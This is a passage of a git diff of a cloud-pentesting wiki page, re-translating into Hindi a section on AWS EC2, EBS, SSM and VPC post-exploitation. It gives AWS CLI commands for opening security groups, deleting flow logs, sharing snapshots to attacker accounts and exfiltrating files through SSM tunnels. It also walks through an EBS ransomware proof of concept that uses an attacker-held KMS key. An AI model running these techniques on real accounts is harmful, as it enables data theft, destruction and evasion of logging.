सकता है। -on-demand बैकअप से एक DynamoDB table पुनर्स्थापित करें: +on-demand backup से एक DynamoDB table को पुनर्स्थापित करें: ```bash aws dynamodb restore-table-from-backup \ --target-table-name \ --backup-arn ``` -DynamoDB तालिका को किसी समय-बिंदु पर पुनर्स्थापित करें (पुनर्स्थापित स्थिति के साथ एक नई तालिका बनाएं): +एक DynamoDB टेबल को किसी विशिष्ट समय पर पुनर्स्थापित करें (पुनर्स्थापित स्थिति के साथ एक नई टेबल बनाएं): ```bash aws dynamodb restore-table-to-point-in-time \ --source-table-name \ @@ -566,6 +566,7 @@ aws dynamodb restore-table-to-point-in-time \ ````
-**संभावित प्रभाव:** टेबल परिवर्तनों का निरंतर, लगभग वास्तविक-समय में हमलावर-नियंत्रित Kinesis stream पर निकासी, बिना टेबल पर प्रत्यक्ष read ऑपरेशन्स के। +**Potential Impact:** टेबल पर सीधे read operations किए बिना टेबल में हुए परिवर्तनों का लगातार, लगभग रीयल-टाइम में हमलावर-नियंत्रित Kinesis stream पर बाहर निकालना। + {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md index e05a67be9..c50cd545c 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md @@ -4,7 +4,7 @@ ## EC2 & VPC -For more information check: +अधिक जानकारी के लिए देखें: {{#ref}} ../../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/ @@ -12,10 +12,10 @@ For more information check: ### **Malicious VPC Mirror -** `ec2:DescribeInstances`, `ec2:RunInstances`, `ec2:CreateSecurityGroup`, `ec2:AuthorizeSecurityGroupIngress`, `ec2:CreateTrafficMirrorTarget`, `ec2:CreateTrafficMirrorSession`, `ec2:CreateTrafficMirrorFilter`, `ec2:CreateTrafficMirrorFilterRule` -VPC traffic mirroring VPC के अंदर EC2 instances के inbound और outbound ट्रैफ़िक को duplicate करता है बिना instances पर कुछ install किए बिना। यह duplicated ट्रैफ़िक आमतौर पर analysis और monitoring के लिए किसी network intrusion detection system (IDS) जैसे सिस्टम को भेजा जाता है।\ -एक attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को capture कर सकता है और संवेदनशील जानकारी प्राप्त कर सकता है: +VPC traffic mirroring **duplicates inbound and outbound traffic for EC2 instances within a VPC** — instances पर कुछ भी इंस्टॉल करने की आवश्यकता नहीं होती। इस डुप्लिकेट किए गए ट्रैफ़िक को आम तौर पर विश्लेषण और निगरानी के लिए network intrusion detection system (IDS) जैसे सिस्टम को भेजा जाता है.\ +एक attacker इसका दुरुपयोग करके सभी ट्रैफ़िक को capture कर सकता है और उससे संवेदनशील जानकारी प्राप्त कर सकता है: -For more information check this page: +अधिक जानकारी के लिए इस पेज को देखें: {{#ref}} aws-malicious-vpc-mirror.md @@ -23,7 +23,7 @@ aws-malicious-vpc-mirror.md ### Copy Running Instance -Instances में आम तौर पर कुछ न कुछ संवेदनशील जानकारी होती है। अंदर जाने के विभिन्न तरीके हैं (check [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). हालांकि, यह देखने का एक और तरीका यह है कि **create an AMI and run a new instance (even in your own account) from it**: +Instances आमतौर पर किसी न किसी तरह की संवेदनशील जानकारी रखते हैं। अंदर पहुँचने के अलग-अलग तरीके हैं (देखें [EC2 privilege escalation tricks](../../aws-privilege-escalation/aws-ec2-privesc/README.md)). हालांकि, इसके भीतर क्या है यह देखने का एक और तरीका है कि **एक AMI बनाकर उससे एक नया instance चलाया जाए (यहाँ तक कि अपने ही account में भी)**: ```shell # List instances aws ec2 describe-images @@ -47,26 +47,26 @@ aws ec2 modify-instance-attribute --instance-id "i-0546910a0c18725a1" --groups " aws ec2 stop-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 aws ec2 terminate-instances --instance-id "i-0546910a0c18725a1" --region eu-west-1 ``` -### EBS Snapshot dump +### EBS Snapshot डंप -**Snapshots volumes के बैकअप होते हैं**, जो आमतौर पर **संवेदनशील जानकारी** रखते हैं, इसलिए इन्हें चेक करने पर यह जानकारी उजागर हो सकती है.\ -यदि आप कोई **volume without a snapshot** पाते हैं तो आप कर सकते हैं: **Create a snapshot** और निम्नलिखित क्रियाएँ कर सकते हैं या बस इसे खाते के अंदर किसी **instance** में **mount** करें: +**Snapshots volumes के बैकअप होते हैं**, जो आम तौर पर **संवेदनशील जानकारी** रखते हैं, इसलिए उनकी जाँच से यह जानकारी उजागर हो सकती है।\ +अगर आपको कोई **volume बिना Snapshot** के मिले तो आप: **Create a snapshot** कर सकते हैं और निम्नलिखित क्रियाएँ कर सकते हैं या बस उसे खाते के अंदर किसी **instance** में **mount** कर सकते हैं: {{#ref}} aws-ebs-snapshot-dump.md {{#endref}} -### Covert Disk Exfiltration via AMI Store-to-S3 +### Covert Disk Exfiltration — AMI Store-to-S3 के माध्यम से -EC2 AMI को सीधे S3 में `CreateStoreImageTask` का उपयोग करके export करें ताकि snapshot sharing के बिना raw disk image प्राप्त हो सके। इससे instance की networking को बिना छेड़े पूरा offline forensic या data theft संभव होता है। +EC2 AMI को सीधे S3 में `CreateStoreImageTask` का उपयोग करके export करें ताकि बिना snapshot sharing के एक raw disk image प्राप्त किया जा सके। यह पूरी तरह ऑफ़लाइन फॉरेंसिक्स या data theft की अनुमति देता है जबकि instance की networking को अप्रभावित रखा जाता है। {{#ref}} aws-ami-store-s3-exfiltration.md {{#endref}} -### Live Data Theft via EBS Multi-Attach +### Live Data Theft — EBS Multi-Attach के माध्यम से -एक io1/io2 Multi-Attach volume को दूसरे instance से attach करें और इसे read-only mount करके बिना snapshots के live data siphon करें। यह तब उपयोगी है जब victim volume पर पहले से ही उसी AZ में Multi-Attach enabled हो। +एक io1/io2 Multi-Attach volume को दूसरे instance से attach करें और उसे read-only के रूप में mount करके बिना snapshots के लाइव डेटा निकालें। यह तब उपयोगी है जब victim volume में पहले से ही उसी AZ में Multi-Attach सक्षम हो। {{#ref}} aws-ebs-multi-attach-data-theft.md @@ -74,7 +74,7 @@ aws-ebs-multi-attach-data-theft.md ### EC2 Instance Connect Endpoint Backdoor -एक EC2 Instance Connect Endpoint बनाएं, ingress authorize करें, और ephemeral SSH keys inject करके managed tunnel के माध्यम से private instances तक पहुँचें। इससे public ports खोले बिना तेज़ lateral movement के रास्ते मिलते हैं। +एक EC2 Instance Connect Endpoint बनाएं, ingress को authorize करें, और ephemeral SSH keys inject करके managed tunnel के माध्यम से private instances तक पहुँचें। यह public ports खोलने के बिना त्वरित lateral movement paths प्रदान करता है। {{#ref}} aws-ec2-instance-connect-endpoint-backdoor.md @@ -82,7 +82,7 @@ aws-ec2-instance-connect-endpoint-backdoor.md ### EC2 ENI Secondary Private IP Hijack -victim ENI के secondary private IP को attacker-controlled ENI पर स्थानांतरित करें ताकि आप IP द्वारा allowlisted विश्वसनीय hosts की impersonation कर सकें। यह specific addresses पर आधारित internal ACLs या SG rules को bypass करने में सक्षम बनाता है। +victim ENI की secondary private IP को attacker-controlled ENI पर मूव करें ताकि IP द्वारा allowlisted trusted hosts का impersonation可能 हो। इससे internal ACLs या SG rules जो विशिष्ट addresses पर निर्भर हैं, bypass करने में मदद मिलती है। {{#ref}} aws-eni-secondary-ip-hijack.md @@ -90,7 +90,7 @@ aws-eni-secondary-ip-hijack.md ### Elastic IP Hijack for Ingress/Egress Impersonation -victim instance से Elastic IP को attacker पर reassociate करें ताकि inbound ट्रैफिक intercept किया जा सके या outbound कनेक्शन originate किए जा सकें जो trusted public IPs से आ रहे प्रतीत हों। +victim instance से Elastic IP को attacker के साथ reassociate करें ताकि inbound ट्रैफ़िक को intercept किया जा सके या outbound कनेक्शन्स originate किए जा सकें जो trusted public IPs से आते दिखें। {{#ref}} aws-eip-hijack-impersonation.md @@ -98,7 +98,7 @@ aws-eip-hijack-impersonation.md ### Security Group Backdoor via Managed Prefix Lists -यदि किसी security group rule में customer-managed prefix list reference है, तो उस list में attacker CIDRs जोड़ने से बिना SG को modify किए ही हर dependent SG rule में चुपचाप access बढ़ जाता है। +यदि कोई security group rule किसी customer-managed prefix list को reference करता है, तो attacker CIDRs को उस list में जोड़ने से बिना SG को बदले ही हर dependent SG rule में चुपचाप access बढ़ सकता है। {{#ref}} aws-managed-prefix-list-backdoor.md @@ -106,7 +106,7 @@ aws-managed-prefix-list-backdoor.md ### VPC Endpoint Egress Bypass -gateway या interface VPC endpoints बनाकर isolated subnets से outbound access वापस पाया जा सकता है। AWS-managed private links का लाभ उठाकर missing IGW/NAT controls को bypass कर के data exfiltration संभव होता है। +isolated subnets से outbound access वापस पाने के लिए gateway या interface VPC endpoints बनाएं। AWS-managed private links का उपयोग करके missing IGW/NAT controls को bypass कर के data exfiltration की जा सकती है। {{#ref}} aws-vpc-endpoint-egress-bypass.md @@ -114,12 +114,13 @@ aws-vpc-endpoint-egress-bypass.md ### `ec2:AuthorizeSecurityGroupIngress` -ec2:AuthorizeSecurityGroupIngress permission रखने वाला attacker security groups में inbound rules जोड़ सकता है (उदा., 0.0.0.0/0 से tcp:80 allow करना), जिससे internal services सार्वजनिक Internet या अन्यथा unauthorized नेटवर्क्स के लिए exposed हो जाती हैं। +जिसके पास ec2:AuthorizeSecurityGroupIngress permission है, वह security groups में inbound rules जोड़ सकता है (उदाहरण के लिए, 0.0.0.0/0 से tcp:80 को allow करना), जिससे internal services public Internet या अन्य unauthorized नेटवर्क्स के सामने उजागर हो जाती हैं। ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 ``` # `ec2:ReplaceNetworkAclEntry` -ec2:ReplaceNetworkAclEntry (या समान) permissions वाले attacker एक subnet के Network ACLs (NACLs) को बहुत अधिक permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 की अनुमति देकर — जिससे पूरा subnet range Internet या अनधिकृत network segments के लिए exposed हो जाता है। Security Groups के विपरीत, जो per-instance लागू होते हैं, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL को बदलने से कई अधिक hosts तक access सक्षम होकर blast radius काफी बढ़ सकता है। + +ec2:ReplaceNetworkAclEntry (or similar) permissions वाले हमलावर subnet’s Network ACLs (NACLs) को संशोधित करके उन्हें बहुत permissive बना सकते हैं — उदाहरण के लिए critical ports पर 0.0.0.0/0 की अनुमति देकर — जिससे पूरे subnet रेंज Internet या unauthorized network segments के सामने उजागर हो सकता है। Unlike Security Groups, जिन्हें per-instance पर लागू किया जाता है, NACLs subnet स्तर पर लागू होते हैं, इसलिए किसी restrictive NACL में बदलाव करने से कई और hosts तक पहुँच सक्षम होकर blast radius कहीं ज़्यादा बड़ा हो सकता है। ```bash aws ec2 replace-network-acl-entry \ --network-acl-id \ @@ -131,7 +132,9 @@ aws ec2 replace-network-acl-entry \ ``` ### `ec2:Delete*` -एक हमलावर जिसके पास ec2:Delete* और iam:Remove* permissions हैं, महत्वपूर्ण इंफ्रास्ट्रक्चर संसाधनों और कॉन्फ़िगरेशन को डिलीट कर सकता है — उदाहरण के लिए key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups या rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. यह तुरंत सेवा में व्यवधान, डेटा हानि, और फॉरेंसिक सबूतों की हानि का कारण बन सकता है। +An attacker with ec2:Delete* and iam:Remove* permissions can delete critical infrastructure resources and configurations — for example key pairs, launch templates/versions, AMIs/snapshots, volumes or attachments, security groups or rules, ENIs/network endpoints, route tables, gateways, or managed endpoints. This can cause immediate service disruption, data loss, and loss of forensic evidence. + +एक हमलावर जिनके पास ec2:Delete* और iam:Remove* permissions हों, वे महत्वपूर्ण infrastructure resources और configurations हटा सकते हैं — उदाहरण के लिए key pairs, launch templates/versions, AMIs/snapshots, volumes या attachments, security groups या rules, ENIs/network endpoints, route tables, gateways, या managed endpoints. इससे तुरंत service disruption, data loss, और forensic evidence का नुकसान हो सकता है। One example is deleting a security group: @@ -140,7 +143,9 @@ aws ec2 delete-security-group \ ### VPC Flow Logs Cross-Account Exfiltration -VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि victim account के बाहर नेटवर्क मेटाडेटा (source/destination, ports) को long-term reconnaissance के लिए लगातार एकत्र किया जा सके। +Point VPC Flow Logs to an attacker-controlled S3 bucket to continuously collect network metadata (source/destination, ports) outside the victim account for long-term reconnaissance. + +VPC Flow Logs को attacker-controlled S3 bucket की ओर पॉइंट करें ताकि वह victim account के बाहर नेटवर्क metadata (source/destination, ports) को लगातार संग्रहित कर सके, long-term reconnaissance के लिए। {{#ref}} aws-vpc-flow-logs-cross-account-exfiltration.md @@ -150,75 +155,87 @@ aws-vpc-flow-logs-cross-account-exfiltration.md #### DNS Exfiltration -यदि आप EC2 को लॉकडाउन करके बाहर कोई ट्रैफ़िक नहीं होने देते, तब भी यह **exfil via DNS** कर सकता है। +Even if you lock down an EC2 so no traffic can get out, it can still **exfil via DNS**. + +यदि आप EC2 को लॉकडाउन कर दें ताकि कोई traffic बाहर न जा सके, तब भी यह **exfil via DNS** कर सकता है। - **VPC Flow Logs will not record this**. -- आपके पास AWS DNS logs तक पहुंच नहीं है। +- You have no access to AWS DNS logs. - Disable this by setting "enableDnsSupport" to false with: +**VPC Flow Logs यह रिकॉर्ड नहीं करेगा।** + +आपके पास AWS DNS logs तक पहुंच नहीं है। + +इसे बंद करने के लिए "enableDnsSupport" को false सेट करें: + `aws ec2 modify-vpc-attribute --no-enable-dns-support --vpc-id ` #### Exfiltration via API calls -एक हमलावर अपने नियंत्रित खाते के API endpoints को कॉल कर सकता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail logs में exfiltrate किए गए डेटा को देख पाएगा। +An attacker could call API endpoints of an account controlled by him. Cloudtrail will log this calls and the attacker will be able to see the exfiltrate data in the Cloudtrail logs. + +एक हमलावर उस खाते के API endpoints को कॉल कर सकता है जिसे वह नियंत्रित करता है। Cloudtrail इन कॉल्स को लॉग करेगा और हमलावर Cloudtrail logs में exfiltrate डेटा देख पाएगा। ### Open Security Group +You could get further access to network services by opening ports like this: + आप इस तरह पोर्ट खोलकर नेटवर्क सेवाओं तक और अधिक पहुँच प्राप्त कर सकते हैं: ```bash aws ec2 authorize-security-group-ingress --group-id --protocol tcp --port 80 --cidr 0.0.0.0/0 # Or you could just open it to more specific ips or maybe th einternal network if you have already compromised an EC2 in the VPC ``` -### Privesc से ECS +### Privesc to ECS -यह संभव है कि आप एक EC2 instance चला कर उसे ECS instances चलाने के लिए register कर सकें और फिर ECS instances के डेटा को चुरा सकें। +यह संभव है कि एक EC2 instance चलाकर उसे ECS instances चलाने के लिए register किया जाए और फिर ECS instances के डेटा को चुरा लिया जाए। -For [**अधिक जानकारी के लिए देखें**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). +अधिक जानकारी के लिए [**यहाँ देखें**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs). -### VPC flow logs हटाएं +### Remove VPC flow logs ```bash aws ec2 delete-flow-logs --flow-log-ids --region ``` ### SSM Port Forwarding -Required permissions: +आवश्यक अनुमतियाँ: - `ssm:StartSession` -कमांड निष्पादन के अलावा, SSM ट्रैफ़िक टनलिंग की अनुमति देता है, जिसे उन EC2 इंस्टेंस से pivot करने के लिए दुरुपयोग किया जा सकता है जिनके पास Security Groups या NACLs के कारण नेटवर्क एक्सेस नहीं है। -एक उपयोगी परिदृश्य यह है कि [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से एक निजी EKS cluster में pivot करना। +कमांड निष्पादन के अलावा, SSM traffic tunneling की अनुमति देता है, जिसका दुरुपयोग उन EC2 इंस्टेंस से pivot करने के लिए किया जा सकता है जिनके पास Security Groups या NACLs के कारण नेटवर्क एक्सेस नहीं है। +एक परिदृश्य जहाँ यह उपयोगी होता है वह है [Bastion Host](https://www.geeksforgeeks.org/what-is-aws-bastion-host/) से private EKS cluster में pivot करना। > एक session शुरू करने के लिए आपके पास SessionManagerPlugin इंस्टॉल होना चाहिए: https://docs.aws.amazon.com/systems-manager/latest/userguide/install-plugin-macos-overview.html 1. अपने मशीन पर SessionManagerPlugin इंस्टॉल करें -2. निम्नलिखित कमांड का उपयोग करके Bastion EC2 में लॉग इन करें: +2. निम्नलिखित command का उपयोग करके Bastion EC2 में लॉगिन करें: ```shell aws ssm start-session --target "$INSTANCE_ID" ``` -3. Bastion EC2 AWS temporary credentials को [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) स्क्रिप्ट के साथ प्राप्त करें -4. अपनी मशीन पर `$HOME/.aws/credentials` फ़ाइल में credentials को `[bastion-ec2]` profile के रूप में स्थानांतरित करें -5. Bastion EC2 के रूप में EKS में लॉग इन करें: +3. [Abusing SSRF in AWS EC2 environment](https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#abusing-ssrf-in-aws-ec2-environment) script का उपयोग करके Bastion EC2 AWS temporary credentials प्राप्त करें +4. अपने मशीन पर credentials को `$HOME/.aws/credentials` फाइल में `[bastion-ec2]` profile के रूप में स्थानांतरित करें +5. EKS में Bastion EC2 के रूप में लॉग इन करें: ```shell aws eks update-kubeconfig --profile bastion-ec2 --region --name ``` -6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` की ओर अपडेट करें -7. निम्नानुसार एक SSM tunnel बनाएँ: +6. `$HOME/.kube/config` फ़ाइल में `server` फ़ील्ड को `https://localhost` पर इंगित करने के लिए अपडेट करें +7. निम्नानुसार एक SSM टनल बनाएं: ```shell sudo aws ssm start-session --target $INSTANCE_ID --document-name AWS-StartPortForwardingSessionToRemoteHost --parameters '{"host":[""],"portNumber":["443"], "localPortNumber":["443"]}' --region ``` -8. `kubectl` टूल से ट्रैफ़िक अब SSM टनल के माध्यम से Bastion EC2 के ज़रिए फॉरवर्ड हो रहा है और आप अपनी मशीन से निम्नलिखित कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं: +8. `kubectl` टूल से आने वाला ट्रैफ़िक अब Bastion EC2 के माध्यम से SSM टनल के जरिए फॉरवर्ड हो रहा है और आप अपनी मशीन से निम्न कमांड चलाकर निजी EKS क्लस्टर तक पहुँच सकते हैं: ```shell kubectl get pods --insecure-skip-tls-verify ``` -ध्यान दें कि SSL कनेक्शन्स तब तक फेल हो जाएँगे जब तक आप `--insecure-skip-tls-verify ` फ्लैग (या K8s audit tools में इसका समकक्ष) सेट नहीं करते। चूँकि ट्रैफ़िक सुरक्षित AWS SSM टनल के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमले से सुरक्षित हैं। +ध्यान दें कि SSL कनेक्शन्स असफल हो जाएँगे जब तक आप `--insecure-skip-tls-verify ` फ्लैग (या K8s audit tools में उसका समकक्ष) सेट न करें। चूँकि ट्रैफ़िक सुरक्षित AWS SSM tunnel के माध्यम से टनल किया जाता है, आप किसी भी प्रकार के MitM हमलों से सुरक्षित हैं। -अंततः, यह तकनीक निजी EKS क्लस्टर्स पर हमले तक सीमित नहीं है। आप मनमाने domains और ports सेट करके किसी भी अन्य AWS सेवा या किसी कस्टम एप्लिकेशन की ओर pivot कर सकते हैं। +अंत में, यह technique निजी EKS clusters पर हमला करने के लिए विशिष्ट नहीं है। आप किसी भी अन्य AWS service या किसी custom application पर pivot करने के लिए मनमाने domains और ports सेट कर सकते हैं। --- #### त्वरित लोकल ↔️ रिमोट पोर्ट फॉरवर्ड (AWS-StartPortForwardingSession) -यदि आपको केवल EC2 instance से अपने local host पर **एक TCP पोर्ट फॉरवर्ड** करने की आवश्यकता है, तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host parameter आवश्यक नहीं): +यदि आपको केवल **EC2 instance से आपके local host पर एक TCP पोर्ट** फॉरवर्ड करने की आवश्यकता है तो आप `AWS-StartPortForwardingSession` SSM document का उपयोग कर सकते हैं (कोई remote host पैरामीटर आवश्यक नहीं): ```bash aws ssm start-session --target i-0123456789abcdef0 \ --document-name AWS-StartPortForwardingSession \ @@ -227,22 +244,22 @@ aws ssm start-session --target i-0123456789abcdef0 \ ``` The command establishes a bidirectional tunnel between your workstation (`localPortNumber`) and the selected port (`portNumber`) on the instance **without opening any inbound Security-Group rules**. -Common use cases: +सामान्य उपयोग के मामले: * **File exfiltration** -1. instance पर उस डायरेक्टरी की ओर संकेत करते हुए एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं: +1. instance पर उस डायरेक्टरी की ओर इशारा करने वाला एक त्वरित HTTP server शुरू करें जिसे आप exfiltrate करना चाहते हैं: ```bash python3 -m http.server 8000 ``` -2. अपने workstation से SSM tunnel के माध्यम से फाइलें प्राप्त करें: +2. अपनी वर्कस्टेशन से SSM tunnel के माध्यम से फाइलें प्राप्त करें: ```bash curl http://localhost:8000/loot.txt -o loot.txt ``` -* **आंतरिक वेब एप्लिकेशन तक पहुँच (उदा., Nessus)** +* **आंतरिक वेब एप्लिकेशन तक पहुँच (उदा. Nessus)** ```bash # Forward remote Nessus port 8834 to local 8835 aws ssm start-session --target i-0123456789abcdef0 \ @@ -250,7 +267,7 @@ aws ssm start-session --target i-0123456789abcdef0 \ --parameters "portNumber"="8834","localPortNumber"="8835" # Browse to http://localhost:8835 ``` -टिप: exfiltrating करने से पहले सबूत को Compress और encrypt कर लें ताकि CloudTrail clear-text content को लॉग न करे: +टिप: Compress और encrypt सबूत को exfiltrating करने से पहले ताकि CloudTrail clear-text content को लॉग न करे: ```bash # On the instance 7z a evidence.7z /path/to/files/* -p'Str0ngPass!' @@ -259,19 +276,19 @@ aws ssm start-session --target i-0123456789abcdef0 \ ```bash aws ec2 modify-image-attribute --image-id --launch-permission "Add=[{UserId=}]" --region ``` -### public और private AMIs में संवेदनशील जानकारी खोजें +### सार्वजनिक और निजी AMIs में संवेदनशील जानकारी खोजें -- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक ऐसा टूल है जो **public या private Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने** के लिए बनाया गया है। यह target AMIs से instances लॉन्च करने, उनके volumes को mount करने, और संभावित secrets या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है। +- [https://github.com/saw-your-packet/CloudShovel](https://github.com/saw-your-packet/CloudShovel): CloudShovel एक tool है जिसे **सार्वजनिक या निजी Amazon Machine Images (AMIs) के भीतर संवेदनशील जानकारी खोजने के लिए** डिज़ाइन किया गया है। यह लक्षित AMIs से instances लॉन्च करने, उनके volumes माउंट करने, और संभावित secrets या संवेदनशील डेटा के लिए स्कैन करने की प्रक्रिया को स्वचालित करता है। -### EBS Snapshot साझा करें +### साझा करें EBS Snapshot ```bash aws ec2 modify-snapshot-attribute --snapshot-id --create-volume-permission "Add=[{UserId=}]" --region ``` ### EBS Ransomware PoC -यह proof of concept S3 post-exploitation notes में दिखाए गए Ransomware demonstration के समान है। KMS को इसके उपयोग की आसानी को देखते हुए Ransomware Management Service यानी RMS कहा जाना चाहिए, क्योंकि इसका इस्तेमाल विभिन्न AWS सेवाओं को encrypt करने के लिए करना कितना आसान है। +यह एक proof of concept है जो S3 post-exploitation notes में दिखाए गए Ransomware demonstration जैसा है। KMS को RMS (Ransomware Management Service) कहा जाना चाहिए, क्योंकि यह विभिन्न AWS सेवाओं को एन्क्रिप्ट करने के लिए उपयोग में कितना आसान है। -सबसे पहले 'attacker' AWS account से, KMS में एक customer managed key बनाएं। इस उदाहरण के लिए हम बस AWS को मेरे लिए key data manage करने देंगे, लेकिन वास्तविक परिदृश्य में एक malicious actor key data को AWS के नियंत्रण के बाहर रखेगा। key policy को बदलकर किसी भी AWS account Principal को इस key का उपयोग करने की अनुमति दें। इस key policy के लिए खाते का नाम 'AttackSim' था और सभी एक्सेस की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है। +सबसे पहले 'attacker' AWS account से KMS में एक customer managed key बनाएं। इस उदाहरण के लिए हम AWS को ही key data मैनेज करने देंगे, लेकिन वास्तविक परिदृश्य में एक malicious actor key data को AWS के नियंत्रण के बाहर रख सकता है। key policy को बदलकर किसी भी AWS account Principal को key उपयोग करने की अनुमति दें। इस key policy के लिए, account का नाम 'AttackSim' था और सभी access की अनुमति देने वाला policy rule 'Outside Encryption' कहा जाता है। ``` { "Version": "2012-10-17", @@ -371,21 +388,21 @@ The key policy rule needs the following enabled to allow for the ability to use - `kms:GenerateDataKeyWithoutPlainText` - `kms:ReEncrypt` -Now with the publicly accessible key to use. We can use a 'victim' account that has some EC2 instances spun up with unencrypted EBS volumes attached. This 'victim' account's EBS volumes are what we're targeting for encryption, this attack is under the assumed breach of a high-privilege AWS account. +अब हमारे पास उपयोग के लिए सार्वजनिक रूप से उपलब्ध key है। हम एक 'victim' account का उपयोग कर सकते हैं जिसमें कुछ EC2 instances चल रहे हों और उनके साथ unencrypted EBS volumes जुड़े हों। इस 'victim' account के EBS volumes वही हैं जिन्हें हम एन्क्रिप्ट करने का लक्ष्य बना रहे हैं — यह हमला एक उच्च-प्रिविलेज AWS account के कथित उल्लंघन (assumed breach) के परिप्रेक्ष्य में किया जा रहा है। ![Pasted image 20231231172655](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/5b9a96cd-6006-4965-84a4-b090456f90c6) ![Pasted image 20231231172734](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4294289c-0dbd-4eb6-a484-60b4e4266459) -Similar to the S3 ransomware example. This attack will create copies of the attached EBS volumes using snapshots, use the publicly available key from the 'attacker' account to encrypt the new EBS volumes, then detach the original EBS volumes from the EC2 instances and delete them, and then finally delete the snapshots used to create the newly encrypted EBS volumes. ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) +S3 ransomware उदाहरण के समान। यह हमला snapshots का उपयोग करके जुड़े EBS volumes की प्रतियाँ बनाएगा, 'attacker' account से सार्वजनिक रूप से उपलब्ध key का उपयोग नई EBS volumes को एन्क्रिप्ट करने के लिए करेगा, फिर मूल EBS volumes को EC2 instances से detach करके उन्हें delete करेगा, और अंत में उन snapshots को भी delete कर देगा जिनका उपयोग नई एन्क्रिप्टेड EBS volumes बनाने में किया गया था। ![Pasted image 20231231173130](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/34808990-2b3b-4975-a523-8ee45874279e) -This results in only encrypted EBS volumes left available in the account. +इसका परिणाम यह होगा कि account में केवल एन्क्रिप्टेड EBS volumes ही उपलब्ध रहेंगे। ![Pasted image 20231231173338](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/eccdda58-f4b1-44ea-9719-43afef9a8220) -Also worth noting, the script stopped the EC2 instances to detach and delete the original EBS volumes. The original unencrypted volumes are gone now. +यह भी उल्लेखनीय है कि script ने मूल EBS volumes को detach और delete करने के लिए EC2 instances को रोक दिया था। मूल unencrypted volumes अब उपलब्ध नहीं हैं। ![Pasted image 20231231173931](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/cc31a5c9-fbb4-4804-ac87-911191bb230e) -Next, return to the key policy in the 'attacker' account and remove the 'Outside Encryption' policy rule from the key policy. +अगला कदम, 'attacker' account में key policy पर वापस जाएं और key policy से 'Outside Encryption' policy rule को हटा दें। ```json { "Version": "2012-10-17", @@ -456,15 +473,17 @@ Next, return to the key policy in the 'attacker' account and remove the 'Outside ] } ``` -नए सेट किए गए key policy के फैलने तक थोड़ी देर इंतज़ार करें। फिर 'victim' अकाउंट में लौटें और नई encrypted EBS volumes में से किसी एक को attach करने का प्रयास करें। आप पाएँगे कि आप volume को attach कर सकते हैं। +नए सेट किए गए key policy के propagate होने तक प्रतीक्षा करें। फिर 'victim' account पर वापस जाएं और नए encrypted EBS volumes में से एक को attach करने की कोशिश करें। आप पाएँगे कि आप volume attach कर सकते हैं। ![Pasted image 20231231174131](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/ba9e5340-7020-4af9-95cc-0e02267ced47) ![Pasted image 20231231174258](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/6c3215ec-4161-44e2-b1c1-e32f43ad0fa4) -लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में फिर से start करने की कोशिश करेंगे, तो यह विफल होगा और 'pending' स्थिति से वापस 'stopped' स्थिति में चला जाएगा, क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता — key policy अब इसकी अनुमति नहीं देती। +लेकिन जब आप encrypted EBS volume के साथ EC2 instance को वास्तव में वापस start करने की कोशिश करेंगे, तो यह बस fail हो जाएगा और 'pending' state से वापस 'stopped' state में चला जाएगा और वहीं हमेशा रहेगा, क्योंकि attached EBS volume को key से decrypt नहीं किया जा सकता — key policy अब इसकी अनुमति नहीं देती। ![Pasted image 20231231174322](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/73456c22-0828-4da9-a737-e4d90fa3f514) ![Pasted image 20231231174352](https://github.com/DialMforMukduk/hacktricks-cloud/assets/35155877/4d83a90e-6fa9-4003-b904-a4ba7f5944d0) -यह उपयोग किया गया python script है। यह 'victim' अकाउंट के लिए AWS creds और encryption के लिए उपयोग किए जाने वाले key 